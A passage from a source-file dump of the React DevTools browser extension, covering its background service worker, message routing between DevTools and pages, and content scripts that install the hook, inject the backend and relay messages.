    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n/* global chrome, ExtensionRuntimePort */\n\n'use strict';\n\nimport './dynamicallyInjectContentScripts';\nimport './tabsManager';\n\nimport {\n  handleDevToolsPageMessage,\n  handleBackendManagerMessage,\n  handleReactDevToolsHookMessage,\n  handleFetchResourceContentScriptMessage,\n} from './messageHandlers';\n\nconst ports: {\n  // TODO: Check why we convert tab IDs to strings, and if we can avoid it\n  [tabId: string]: {\n    extension: ExtensionRuntimePort | null,\n    proxy: ExtensionRuntimePort | null,\n    disconnectPipe: Function | null,\n  },\n} = {};\n\nfunction registerTab(tabId: number) {\n  // $FlowFixMe[incompatible-type]\n  if (!ports[tabId]) {\n    // $FlowFixMe[incompatible-type]\n    ports[tabId] = {\n      extension: null,\n      proxy: null,\n      disconnectPipe: null,\n    };\n  }\n}\n\nfunction registerExtensionPort(port: ExtensionRuntimePort, tabId: number) {\n  // $FlowFixMe[incompatible-type]\n  ports[tabId].extension = port;\n\n  port.onDisconnect.addListener(() => {\n    // This should delete disconnectPipe from ports dictionary\n    // $FlowFixMe[incompatible-type]\n    ports[tabId].disconnectPipe?.();\n\n    // $FlowFixMe[incompatible-type]\n    ports[tabId].extension = null;\n  });\n}\n\nfunction registerProxyPort(port: ExtensionRuntimePort, tabId: string) {\n  ports[tabId].proxy = port;\n\n  // In case proxy port was disconnected from the other end, from content script\n  // This can happen if content script was detached, when user does in-tab navigation\n  // This listener should never be called when we call port.disconnect() from this (background/index.js) script\n  port.onDisconnect.addListener(() => {\n    ports[tabId].disconnectPipe?.();\n\n    ports[tabId].proxy = null;\n  });\n}\n\nfunction isNumeric(str: string): boolean {\n  return +str + '' === str;\n}\n\nchrome.runtime.onConnect.addListener(port => {\n  if (port.name === 'proxy') {\n    // Might not be present for restricted pages in Firefox\n    if (port.sender?.tab?.id == null) {\n      // Not disconnecting it, so it would not reconnect\n      return;\n    }\n\n    // Proxy content script is executed in tab, so it should have it specified.\n    const tabId = port.sender.tab.id;\n\n    // $FlowFixMe[incompatible-type]\n    const registeredPort = ports[tabId];\n    const proxy = registeredPort?.proxy;\n    if (proxy) {\n      registeredPort.disconnectPipe?.();\n      proxy.disconnect();\n    }\n\n    registerTab(tabId);\n    registerProxyPort(\n      port,\n      // $FlowFixMe[incompatible-call]\n      tabId,\n    );\n\n    // $FlowFixMe[incompatible-type]\n    if (ports[tabId].extension) {\n      connectExtensionAndProxyPorts(\n        ports[tabId].extension,\n        ports[tabId].proxy,\n        tabId,\n      );\n    }\n\n    return;\n  }\n\n  if (isNumeric(port.name)) {\n    // DevTools page port doesn't have tab id specified, because its sender is the extension.\n    const tabId = +port.name;\n\n    registerTab(tabId);\n    registerExtensionPort(\n      port,\n      // $FlowFixMe[incompatible-call]\n      tabId,\n    );\n\n    // $FlowFixMe[incompatible-type]\n    if (ports[tabId].proxy) {\n      connectExtensionAndProxyPorts(\n        ports[tabId].extension,\n        ports[tabId].proxy,\n        tabId,\n      );\n    }\n\n    return;\n  }\n\n  // I am not sure if we should throw here\n  console.warn(`Unknown port ${port.name} connected`);\n});\n\nfunction connectExtensionAndProxyPorts(\n  maybeExtensionPort: ExtensionRuntimePort | null,\n  maybeProxyPort: ExtensionRuntimePort | null,\n  tabId: number,\n) {\n  if (!maybeExtensionPort) {\n    throw new Error(\n      `Attempted to connect ports, when extension port is not present`,\n    );\n  }\n  const extensionPort = maybeExtensionPort;\n\n  if (!maybeProxyPort) {\n    throw new Error(\n      `Attempted to connect ports, when proxy port is not present`,\n    );\n  }\n  const proxyPort = maybeProxyPort;\n\n  // $FlowFixMe[incompatible-type]\n  if (ports[tabId].disconnectPipe) {\n    throw new Error(\n      `Attempted to connect already connected ports for tab with id ${tabId}`,\n    );\n  }\n\n  function extensionPortMessageListener(message: any) {\n    try {\n      proxyPort.postMessage(message);\n    } catch (e) {\n      if (__DEV__) {\n        console.log(`Broken pipe ${tabId}: `, e);\n      }\n\n      disconnectListener();\n    }\n  }\n\n  function proxyPortMessageListener(message: any) {\n    try {\n      extensionPort.postMessage(message);\n    } catch (e) {\n      if (__DEV__) {\n        console.log(`Broken pipe ${tabId}: `, e);\n      }\n\n      disconnectListener();\n    }\n  }\n\n  function disconnectListener() {\n    extensionPort.onMessage.removeListener(extensionPortMessageListener);\n    proxyPort.onMessage.removeListener(proxyPortMessageListener);\n\n    // We handle disconnect() calls manually, based on each specific case\n    // No need to disconnect other port here\n\n    // $FlowFixMe[incompatible-type]\n    delete ports[tabId].disconnectPipe;\n  }\n\n  ports[tabId].disconnectPipe = disconnectListener;\n\n  extensionPort.onMessage.addListener(extensionPortMessageListener);\n  proxyPort.onMessage.addListener(proxyPortMessageListener);\n\n  extensionPort.onDisconnect.addListener(disconnectListener);\n  proxyPort.onDisconnect.addListener(disconnectListener);\n}\n\nchrome.runtime.onMessage.addListener((message, sender) => {\n  switch (message?.source) {\n    case 'devtools-page': {\n      handleDevToolsPageMessage(message);\n      break;\n    }\n    case 'react-devtools-fetch-resource-content-script': {\n      handleFetchResourceContentScriptMessage(message);\n      break;\n    }\n    case 'react-devtools-backend-manager': {\n      handleBackendManagerMessage(message, sender);\n      break;\n    }\n    case 'react-devtools-hook': {\n      handleReactDevToolsHookMessage(message, sender);\n    }\n  }\n});\n\nchrome.tabs.onActivated.addListener(({tabId: activeTabId}) => {\n  for (const registeredTabId in ports) {\n    if (\n      ports[registeredTabId].proxy != null &&\n      ports[registeredTabId].extension != null\n    ) {\n      const numericRegisteredTabId = +registeredTabId;\n      const event =\n        activeTabId === numericRegisteredTabId\n          ? 'resumeElementPolling'\n          : 'pauseElementPolling';\n\n      ports[registeredTabId].extension.postMessage({event});\n    }\n  }\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/background/messageHandlers.js",
    "content": "/* global chrome */\n\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\nimport setExtensionIconAndPopup from './setExtensionIconAndPopup';\nimport {executeScriptInMainWorld} from './executeScript';\n\nimport {EXTENSION_CONTAINED_VERSIONS} from '../utils';\n\nexport function handleReactDevToolsHookMessage(message, sender) {\n  const {payload} = message;\n\n  switch (payload?.type) {\n    case 'react-renderer-attached': {\n      setExtensionIconAndPopup(payload.reactBuildType, sender.tab.id);\n\n      break;\n    }\n  }\n}\n\nexport function handleBackendManagerMessage(message, sender) {\n  const {payload} = message;\n\n  switch (payload?.type) {\n    case 'require-backends': {\n      payload.versions.forEach(version => {\n        if (EXTENSION_CONTAINED_VERSIONS.includes(version)) {\n          executeScriptInMainWorld({\n            injectImmediately: true,\n            target: {tabId: sender.tab.id},\n            files: [`/build/react_devtools_backend_${version}.js`],\n          });\n        }\n      });\n\n      break;\n    }\n  }\n}\n\nexport function handleDevToolsPageMessage(message) {\n  const {payload} = message;\n\n  switch (payload?.type) {\n    // Proxy this message from DevTools page to content script via chrome.tabs.sendMessage\n    case 'fetch-file-with-cache': {\n      const {\n        payload: {tabId, url},\n      } = message;\n\n      if (!tabId || !url) {\n        // Send a response straight away to get the Promise fulfilled.\n        chrome.runtime.sendMessage({\n          source: 'react-devtools-background',\n          payload: {\n            type: 'fetch-file-with-cache-error',\n            url,\n            value: null,\n          },\n        });\n      } else {\n        chrome.tabs.sendMessage(tabId, {\n          source: 'devtools-page',\n          payload: {\n            type: 'fetch-file-with-cache',\n            url,\n          },\n        });\n      }\n\n      break;\n    }\n\n    case 'inject-backend-manager': {\n      const {\n        payload: {tabId},\n      } = message;\n\n      if (!tabId) {\n        throw new Error(\"Couldn't inject backend manager: tabId not specified\");\n      }\n\n      executeScriptInMainWorld({\n        injectImmediately: true,\n        target: {tabId},\n        files: ['/build/backendManager.js'],\n      }).then(\n        () => {\n          if (__DEBUG__) {\n            console.log('Successfully injected backend manager');\n          }\n        },\n        reason => {\n          console.error('Failed to inject backend manager:', reason);\n        },\n      );\n\n      break;\n    }\n\n    case 'eval-in-inspected-window': {\n      const {\n        payload: {tabId, requestId, scriptId, args},\n      } = message;\n\n      chrome.tabs\n        .sendMessage(tabId, {\n          source: 'devtools-page-eval',\n          payload: {\n            scriptId,\n            args,\n          },\n        })\n        .then(response => {\n          if (!response) {\n            chrome.runtime.sendMessage({\n              source: 'react-devtools-background',\n              payload: {\n                type: 'eval-in-inspected-window-response',\n                requestId,\n                result: null,\n                error: 'No response from content script',\n              },\n            });\n            return;\n          }\n          const {result, error} = response;\n          chrome.runtime.sendMessage({\n            source: 'react-devtools-background',\n            payload: {\n              type: 'eval-in-inspected-window-response',\n              requestId,\n              result,\n              error,\n            },\n          });\n        })\n        .catch(error => {\n          chrome.runtime.sendMessage({\n            source: 'react-devtools-background',\n            payload: {\n              type: 'eval-in-inspected-window-response',\n              requestId,\n              result: null,\n              error: error?.message || String(error),\n            },\n          });\n        });\n\n      break;\n    }\n  }\n}\n\nexport function handleFetchResourceContentScriptMessage(message) {\n  const {payload} = message;\n\n  switch (payload?.type) {\n    case 'fetch-file-with-cache-complete':\n    case 'fetch-file-with-cache-error':\n      // Forward the result of fetch-in-page requests back to the DevTools page.\n      // We switch the source here because of inconsistency between Firefox and Chrome\n      // In Chromium this message will be propagated from content script to DevTools page\n      // For Firefox, only background script will get this message, so we need to forward it to DevTools page\n      chrome.runtime.sendMessage({\n        source: 'react-devtools-background',\n        payload,\n      });\n      break;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/background/setExtensionIconAndPopup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n/* global chrome */\n\n'use strict';\nimport type {ReactBuildType} from 'react-devtools-shared/src/backend/types';\n\nfunction setExtensionIconAndPopup(\n  reactBuildType: ReactBuildType,\n  tabId: number,\n) {\n  chrome.action.setIcon({\n    tabId,\n    path: {\n      '16': chrome.runtime.getURL(`icons/16-${reactBuildType}.png`),\n      '32': chrome.runtime.getURL(`icons/32-${reactBuildType}.png`),\n      '48': chrome.runtime.getURL(`icons/48-${reactBuildType}.png`),\n      '128': chrome.runtime.getURL(`icons/128-${reactBuildType}.png`),\n    },\n  });\n\n  chrome.action.setPopup({\n    tabId,\n    popup: chrome.runtime.getURL(`popups/${reactBuildType}.html`),\n  });\n}\n\nexport default setExtensionIconAndPopup;\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/background/tabsManager.js",
    "content": "/* global chrome */\n\n'use strict';\n\nimport setExtensionIconAndPopup from './setExtensionIconAndPopup';\n\nfunction isRestrictedBrowserPage(url) {\n  if (!url) {\n    return true;\n  }\n\n  const urlProtocol = new URL(url).protocol;\n  return urlProtocol === 'chrome:' || urlProtocol === 'about:';\n}\n\nfunction checkAndHandleRestrictedPageIfSo(tab) {\n  if (tab && isRestrictedBrowserPage(tab.url)) {\n    setExtensionIconAndPopup('restricted', tab.id);\n  }\n}\n\n// Update popup page of any existing open tabs, if they are restricted browser pages\nchrome.tabs.query({}, tabs => tabs.forEach(checkAndHandleRestrictedPageIfSo));\nchrome.tabs.onCreated.addListener(tab => checkAndHandleRestrictedPageIfSo(tab));\n\n// Listen to URL changes on the active tab and update the DevTools icon.\nchrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {\n  if (changeInfo.url && isRestrictedBrowserPage(changeInfo.url)) {\n    setExtensionIconAndPopup('restricted', tabId);\n  }\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/backendManager.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  DevToolsHook,\n  ReactRenderer,\n} from 'react-devtools-shared/src/backend/types';\nimport {hasAssignedBackend} from 'react-devtools-shared/src/backend/utils';\nimport {COMPACT_VERSION_NAME} from 'react-devtools-extensions/src/utils';\nimport {getIsReloadAndProfileSupported} from 'react-devtools-shared/src/utils';\nimport {\n  getIfReloadedAndProfiling,\n  onReloadAndProfile,\n  onReloadAndProfileFlagsReset,\n} from 'react-devtools-shared/src/utils';\n\nlet welcomeHasInitialized = false;\nconst requiredBackends = new Set<string>();\n\nfunction welcome(event: $FlowFixMe) {\n  if (\n    event.source !== window ||\n    event.data.source !== 'react-devtools-content-script'\n  ) {\n    return;\n  }\n\n  // In some circumstances, this method is called more than once for a single welcome message.\n  // The exact circumstances of this are unclear, though it seems related to 3rd party event batching code.\n  //\n  // Regardless, call this method multiple times can cause DevTools to add duplicate elements to the Store\n  // (and throw an error) or worse yet, choke up entirely and freeze the browser.\n  //\n  // The simplest solution is to ignore the duplicate events.\n  // To be clear, this SHOULD NOT BE NECESSARY, since we remove the event handler below.\n  //\n  // See https://github.com/facebook/react/issues/24162\n  if (welcomeHasInitialized) {\n    console.warn(\n      'React DevTools detected duplicate welcome \"message\" events from the content script.',\n    );\n    return;\n  }\n\n  welcomeHasInitialized = true;\n\n  window.removeEventListener('message', welcome);\n\n  setup(window.__REACT_DEVTOOLS_GLOBAL_HOOK__);\n}\n\nfunction setup(hook: ?DevToolsHook) {\n  // this should not happen, but Chrome can be weird sometimes\n  if (hook == null) {\n    return;\n  }\n\n  // register renderers that have already injected themselves.\n  hook.renderers.forEach(renderer => {\n    registerRenderer(renderer, hook);\n  });\n\n  // Activate and remove from required all present backends, registered within the hook\n  hook.backends.forEach((_, backendVersion) => {\n    requiredBackends.delete(backendVersion);\n    activateBackend(backendVersion, hook);\n  });\n\n  updateRequiredBackends();\n\n  // register renderers that inject themselves later.\n  const unsubscribeRendererListener = hook.sub('renderer', ({renderer}) => {\n    registerRenderer(renderer, hook);\n    updateRequiredBackends();\n  });\n\n  // listen for backend installations.\n  const unsubscribeBackendInstallationListener = hook.sub(\n    'devtools-backend-installed',\n    version => {\n      activateBackend(version, hook);\n      updateRequiredBackends();\n    },\n  );\n\n  const unsubscribeShutdownListener: () => void = hook.sub('shutdown', () => {\n    unsubscribeRendererListener();\n    unsubscribeBackendInstallationListener();\n    unsubscribeShutdownListener();\n  });\n}\n\nfunction registerRenderer(renderer: ReactRenderer, hook: DevToolsHook) {\n  let version = renderer.reconcilerVersion || renderer.version;\n  if (!hasAssignedBackend(version)) {\n    version = COMPACT_VERSION_NAME;\n  }\n\n  // Check if required backend is already activated, no need to require again\n  if (!hook.backends.has(version)) {\n    requiredBackends.add(version);\n  }\n}\n\nfunction activateBackend(version: string, hook: DevToolsHook) {\n  const backend = hook.backends.get(version);\n  if (!backend) {\n    throw new Error(`Could not find backend for version \"${version}\"`);\n  }\n\n  const {Agent, Bridge, initBackend, setupNativeStyleEditor} = backend;\n  const bridge = new Bridge({\n    listen(fn) {\n      const listener = (event: $FlowFixMe) => {\n        if (\n          event.source !== window ||\n          !event.data ||\n          event.data.source !== 'react-devtools-content-script' ||\n          !event.data.payload\n        ) {\n          return;\n        }\n        fn(event.data.payload);\n      };\n      window.addEventListener('message', listener);\n      return () => {\n        window.removeEventListener('message', listener);\n      };\n    },\n    send(event: string, payload: any, transferable?: Array<any>) {\n      window.postMessage(\n        {\n          source: 'react-devtools-bridge',\n          payload: {event, payload},\n        },\n        '*',\n        transferable,\n      );\n    },\n  });\n\n  const agent = new Agent(\n    bridge,\n    getIfReloadedAndProfiling(),\n    onReloadAndProfile,\n  );\n  // Agent read flags successfully, we can count it as successful launch\n  // Clean up flags, so that next reload won't start profiling\n  onReloadAndProfileFlagsReset();\n\n  agent.addListener('shutdown', () => {\n    // If we received 'shutdown' from `agent`, we assume the `bridge` is already shutting down,\n    // and that caused the 'shutdown' event on the `agent`, so we don't need to call `bridge.shutdown()` here.\n    hook.emit('shutdown');\n    delete window.__REACT_DEVTOOLS_BACKEND_MANAGER_INJECTED__;\n  });\n\n  initBackend(hook, agent, window, getIsReloadAndProfileSupported());\n\n  // Setup React Native style editor if a renderer like react-native-web has injected it.\n  if (typeof setupNativeStyleEditor === 'function' && hook.resolveRNStyle) {\n    setupNativeStyleEditor(\n      bridge,\n      agent,\n      hook.resolveRNStyle,\n      hook.nativeStyleEditorValidAttributes,\n    );\n  }\n\n  // Let the frontend know that the backend has attached listeners and is ready for messages.\n  // This covers the case of syncing saved values after reloading/navigating while DevTools remain open.\n  bridge.send('extensionBackendInitialized');\n\n  // this backend is activated\n  requiredBackends.delete(version);\n}\n\n// tell the service worker which versions of backends are needed for the current page\nfunction updateRequiredBackends() {\n  if (requiredBackends.size === 0) {\n    return;\n  }\n\n  window.postMessage(\n    {\n      source: 'react-devtools-backend-manager',\n      payload: {\n        type: 'require-backends',\n        versions: Array.from(requiredBackends),\n      },\n    },\n    '*',\n  );\n}\n\n/*\n * Make sure this is executed only once in case Frontend is reloaded multiple times while Backend is initializing\n * We can't use `reactDevToolsAgent` field on a global Hook object, because it only cleaned up after both Frontend and Backend initialized\n */\nif (!window.__REACT_DEVTOOLS_BACKEND_MANAGER_INJECTED__) {\n  window.__REACT_DEVTOOLS_BACKEND_MANAGER_INJECTED__ = true;\n\n  window.addEventListener('message', welcome);\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/fallbackEvalContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {evalScripts} from '../evalScripts';\n\nwindow.addEventListener('message', event => {\n  if (event.data?.source === 'react-devtools-content-script-eval') {\n    const {scriptId, args, requestId} = event.data.payload;\n    const response = {result: null, error: null};\n    try {\n      if (!evalScripts[scriptId]) {\n        throw new Error(`No eval script with id \"${scriptId}\" exists.`);\n      }\n      response.result = evalScripts[scriptId].fn.apply(null, args);\n    } catch (err) {\n      response.error = err.message;\n    }\n    window.postMessage(\n      {\n        source: 'react-devtools-content-script-eval-response',\n        payload: {\n          requestId,\n          response,\n        },\n      },\n      '*',\n    );\n  }\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/fileFetcher.js",
    "content": "/* global chrome */\n\nfunction fetchResource(url) {\n  const reject = value => {\n    chrome.runtime.sendMessage({\n      source: 'react-devtools-fetch-resource-content-script',\n      payload: {\n        type: 'fetch-file-with-cache-error',\n        url,\n        value,\n      },\n    });\n  };\n\n  const resolve = value => {\n    chrome.runtime.sendMessage({\n      source: 'react-devtools-fetch-resource-content-script',\n      payload: {\n        type: 'fetch-file-with-cache-complete',\n        url,\n        value,\n      },\n    });\n  };\n\n  fetch(url, {cache: 'force-cache', signal: AbortSignal.timeout(60000)}).then(\n    response => {\n      if (response.ok) {\n        response\n          .text()\n          .then(text => resolve(text))\n          .catch(error => reject(null));\n      } else {\n        reject(null);\n      }\n    },\n    error => reject(null),\n  );\n}\n\nchrome.runtime.onMessage.addListener(message => {\n  if (\n    message?.source === 'devtools-page' &&\n    message?.payload?.type === 'fetch-file-with-cache'\n  ) {\n    fetchResource(message.payload.url);\n  }\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/hookSettingsInjector.js",
    "content": "/* global chrome */\n/** @flow */\n\n// We can't use chrome.storage domain from scripts which are injected in ExecutionWorld.MAIN\n// This is the only purpose of this script - to send persisted settings to installHook.js content script\n\nimport type {UnknownMessageEvent} from './messages';\nimport type {\n  DevToolsHookSettings,\n  DevToolsSettings,\n} from 'react-devtools-shared/src/backend/types';\nimport type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';\nimport {postMessage} from './messages';\n\nimport {getDefaultComponentFilters} from 'react-devtools-shared/src/utils';\n\nasync function messageListener(event: UnknownMessageEvent) {\n  if (event.source !== window) {\n    return;\n  }\n\n  if (event.data.source === 'react-devtools-hook-installer') {\n    if (event.data.payload.handshake) {\n      const settings: Partial<DevToolsSettings> =\n        await chrome.storage.local.get();\n      // If storage was empty (first installation), define default settings\n      const hookSettings: DevToolsHookSettings = {\n        appendComponentStack:\n          typeof settings.appendComponentStack === 'boolean'\n            ? settings.appendComponentStack\n            : true,\n        breakOnConsoleErrors:\n          typeof settings.breakOnConsoleErrors === 'boolean'\n            ? settings.breakOnConsoleErrors\n            : false,\n        showInlineWarningsAndErrors:\n          typeof settings.showInlineWarningsAndErrors === 'boolean'\n            ? settings.showInlineWarningsAndErrors\n            : true,\n        hideConsoleLogsInStrictMode:\n          typeof settings.hideConsoleLogsInStrictMode === 'boolean'\n            ? settings.hideConsoleLogsInStrictMode\n            : false,\n        disableSecondConsoleLogDimmingInStrictMode:\n          typeof settings.disableSecondConsoleLogDimmingInStrictMode ===\n          'boolean'\n            ? settings.disableSecondConsoleLogDimmingInStrictMode\n            : false,\n      };\n      const componentFilters: Array<ComponentFilter> = Array.isArray(\n        settings.componentFilters,\n      )\n        ? settings.componentFilters\n        : getDefaultComponentFilters();\n\n      postMessage({\n        source: 'react-devtools-settings-injector',\n        payload: {hookSettings, componentFilters},\n      });\n\n      window.removeEventListener('message', messageListener);\n    }\n  }\n}\n\nwindow.addEventListener('message', messageListener);\npostMessage({\n  source: 'react-devtools-settings-injector',\n  payload: {handshake: true},\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/installHook.js",
    "content": "/** @flow */\n\nimport type {UnknownMessageEvent} from './messages';\nimport type {DevToolsHookSettings} from 'react-devtools-shared/src/backend/types';\nimport type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';\n\nimport {installHook} from 'react-devtools-shared/src/hook';\nimport {\n  getIfReloadedAndProfiling,\n  getProfilingSettings,\n} from 'react-devtools-shared/src/utils';\nimport {postMessage} from './messages';\nimport {createReactRendererListener} from './reactBuildType';\n\nlet resolveHookSettingsInjection: (settings: DevToolsHookSettings) => void;\nlet resolveComponentFiltersInjection: (filters: Array<ComponentFilter>) => void;\n\nfunction messageListener(event: UnknownMessageEvent) {\n  if (event.source !== window) {\n    return;\n  }\n\n  if (event.data.source === 'react-devtools-settings-injector') {\n    const payload = event.data.payload;\n    // In case handshake message was sent prior to hookSettingsInjector execution\n    // We can't guarantee order\n    if (payload.handshake) {\n      postMessage({\n        source: 'react-devtools-hook-installer',\n        payload: {handshake: true},\n      });\n    } else if (payload.hookSettings) {\n      window.removeEventListener('message', messageListener);\n      resolveHookSettingsInjection(payload.hookSettings);\n      resolveComponentFiltersInjection(payload.componentFilters);\n    }\n  }\n}\n\n// Avoid double execution\nif (!window.hasOwnProperty('__REACT_DEVTOOLS_GLOBAL_HOOK__')) {\n  const hookSettingsPromise = new Promise<DevToolsHookSettings>(resolve => {\n    resolveHookSettingsInjection = resolve;\n  });\n  const componentFiltersPromise = new Promise<Array<ComponentFilter>>(\n    resolve => {\n      resolveComponentFiltersInjection = resolve;\n    },\n  );\n\n  window.addEventListener('message', messageListener);\n  postMessage({\n    source: 'react-devtools-hook-installer',\n    payload: {handshake: true},\n  });\n\n  const shouldStartProfiling = getIfReloadedAndProfiling();\n  const profilingSettings = getProfilingSettings();\n  // Can't delay hook installation, inject settings lazily\n  installHook(\n    window,\n    componentFiltersPromise,\n    hookSettingsPromise,\n    shouldStartProfiling,\n    profilingSettings,\n  );\n\n  // Detect React\n  window.__REACT_DEVTOOLS_GLOBAL_HOOK__.on(\n    'renderer',\n    createReactRendererListener(window),\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/messages.js",
    "content": "/** @flow */\n\nimport type {DevToolsHookSettings} from 'react-devtools-shared/src/backend/types';\nimport type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';\n\nexport function postMessage(event: UnknownMessageEventData): void {\n  window.postMessage(event);\n}\n\nexport interface UnknownMessageEvent\n  extends MessageEvent<UnknownMessageEventData> {}\n\nexport type UnknownMessageEventData =\n  | SettingsInjectorEventData\n  | HookInstallerEventData;\n\nexport type HookInstallerEventData = {\n  source: 'react-devtools-hook-installer',\n  payload: HookInstallerEventPayload,\n};\n\nexport type HookInstallerEventPayload = HookInstallerEventPayloadHandshake;\n\nexport type HookInstallerEventPayloadHandshake = {\n  handshake: true,\n};\n\nexport type SettingsInjectorEventData = {\n  source: 'react-devtools-settings-injector',\n  payload: SettingsInjectorEventPayload,\n};\n\nexport type SettingsInjectorEventPayload =\n  | SettingsInjectorEventPayloadHandshake\n  | SettingsInjectorEventPayloadSettings;\n\nexport type SettingsInjectorEventPayloadHandshake = {\n  handshake: true,\n};\n\nexport type SettingsInjectorEventPayloadSettings = {\n  hookSettings: DevToolsHookSettings,\n  componentFilters: Array<ComponentFilter>,\n};\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/prepareInjection.js",
    "content": "/* global chrome */\n\nlet lastSentDevToolsHookMessage;\n\n// We want to detect when a renderer attaches, and notify the \"background page\"\n// (which is shared between tabs and can highlight the React icon).\n// Currently we are in \"content script\" context, so we can't listen to the hook directly\n// (it will be injected directly into the page).\n// So instead, the hook will use postMessage() to pass message to us here.\n// And when this happens, we'll send a message to the \"background page\".\nwindow.addEventListener('message', function onMessage({data, source}) {\n  if (source !== window || !data) {\n    return;\n  }\n\n  // We keep this logic here and not in `proxy.js`, because proxy content script is injected later at `document_end`\n  if (data.source === 'react-devtools-hook') {\n    const {source: messageSource, payload} = data;\n    const message = {source: messageSource, payload};\n\n    lastSentDevToolsHookMessage = message;\n    chrome.runtime.sendMessage(message);\n  }\n});\n\n// NOTE: Firefox WebExtensions content scripts are still alive and not re-injected\n// while navigating the history to a document that has not been destroyed yet,\n// replay the last detection result if the content script is active and the\n// document has been hidden and shown again.\nwindow.addEventListener('pageshow', function ({target}) {\n  if (!lastSentDevToolsHookMessage || target !== window.document) {\n    return;\n  }\n\n  chrome.runtime.sendMessage(lastSentDevToolsHookMessage);\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/contentScripts/proxy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n/* global chrome */\n\n'use strict';\n\nfunction injectProxy() {\n  // Firefox's behaviour for injecting this content script can be unpredictable\n  // While navigating the history, some content scripts might not be re-injected and still be alive\n  if (!window.__REACT_DEVTOOLS_PROXY_INJECTED__) {\n    window.__REACT_DEVTOOLS_PROXY_INJECTED__ = true;\n\n    connectPort();\n    sayHelloToBackendManager();\n\n    // The backend waits to install the global hook until notified by the content script.\n    // In the event of a page reload, the content script might be loaded before the backend manager is injected.\n    // Because of this we need to poll the backend manager until it has been initialized.\n    const intervalID: IntervalID = setInterval(() => {\n      if (backendInitialized) {\n        clearInterval(intervalID);\n      } else {\n        sayHelloToBackendManager();\n      }\n    }, 500);\n  }\n}\n\nfunction handlePageShow() {\n  if (document.prerendering) {\n    // React DevTools can't handle multiple documents being connected to the same extension port.\n    // However, browsers are firing pageshow events while prerendering (https://issues.chromium.org/issues/489633225).\n    // We need to wait until prerendering is finished before injecting the proxy.\n    // In browsers with pagereveal support, listening to pagereveal would be sufficient.\n    // Waiting for prerenderingchange is a workaround to support browsers that\n    // have speculationrules but not pagereveal.\n    document.addEventListener('prerenderingchange', injectProxy, {once: true});\n  } else {\n    injectProxy();\n  }\n}\n\nwindow.addEventListener('pagereveal', injectProxy);\n// For backwards compat with browsers not implementing `pagereveal` which is a fairly new event.\nwindow.addEventListener('pageshow', handlePageShow);\n\nwindow.addEventListener('pagehide', function ({target}) {\n  if (target !== window.document) {\n    return;\n  }\n\n  delete window.__REACT_DEVTOOLS_PROXY_INJECTED__;\n});\n\nlet port = null;\nlet backendInitialized: boolean = false;\n\nfunction sayHelloToBackendManager() {\n  window.postMessage(\n    {\n      source: 'react-devtools-content-script',\n      hello: true,\n    },\n    '*',\n  );\n}\n\nfunction handleMessageFromDevtools(message: any) {\n  window.postMessage(\n    {\n      source: 'react-devtools-content-script',\n      payload: message,\n    },\n    '*',\n  );\n}\n\nfunction handleMessageFromPage(event: any) {\n  if (event.source !== window || !event.data) {\n    return;\n  }\n\n  switch (event.data.source) {\n    // This is a message from a bridge (initialized by a devtools backend)\n    case 'react-devtools-bridge': {\n      backendInitialized = true;\n\n      // $FlowFixMe[incompatible-use]\n      port.postMessage(event.data.payload);\n      break;\n    }\n\n    // This is a message from the backend manager, which runs in ExecutionWorld.MAIN\n    // and can't use `chrome.runtime.sendMessage`\n    case 'react-devtools-backend-manager': {\n      const {source, payload} = event.data;\n\n      chrome.runtime.sendMessage({\n        source,\n        payload,\n      });\n      break;\n    }\n  }\n}\n\nfunction handleDisconnect() {\n  window.removeEventListener('message', handleMessageFromPage);\n  port = null;\n\n  connectPort();\n}\n\n// Creates port from application page to the React DevTools' service worker\n// Which then connects it with extension port\nfunction connectPort() {\n  port = chrome.runtime.connect({\n    name: 'proxy',\n  });\n\n  window.addEventListener('message', handleMessageFromPage);\n\n  // $FlowFixMe[incompatible-use]\n  port.onMessage.addListener(handleMessageFromDevtools);\n  // $FlowFixMe[incompatible-use]\n  port.onDisconnect.addListener(handleDisconnect);\n}\n\nlet evalRequestId = 0;\nconst evalRequestCallbacks = new Map<number, Function>();\n\nchrome.runtime.onMessage.addListener((msg, sender, sendResponse) => {\n  switch (msg?.source) {\n    case 'devtools-page-eval': {\n      const {scriptId, args} = msg.payload;\n      const requestId = evalRequestId++;\n      window.postMessage(\n        {\n          source: 'react-devtools-content-script-eval',\n          payload: {\n            requestId,\n            scriptId,\n            args,\n          },\n        },\n        '*',\n      );\n      evalRequestCallbacks.set(requestId, sendResponse);\n      return true; // Indicate we will respond asynchronously\n    }\n  }\n});\n\nwindow.addEventListener('message', event => {\n  if (event.data?.source === 'react-devtools-content-script-eval-response') {\n    const {requestId, response} = event.data.payload;\n    const callback = 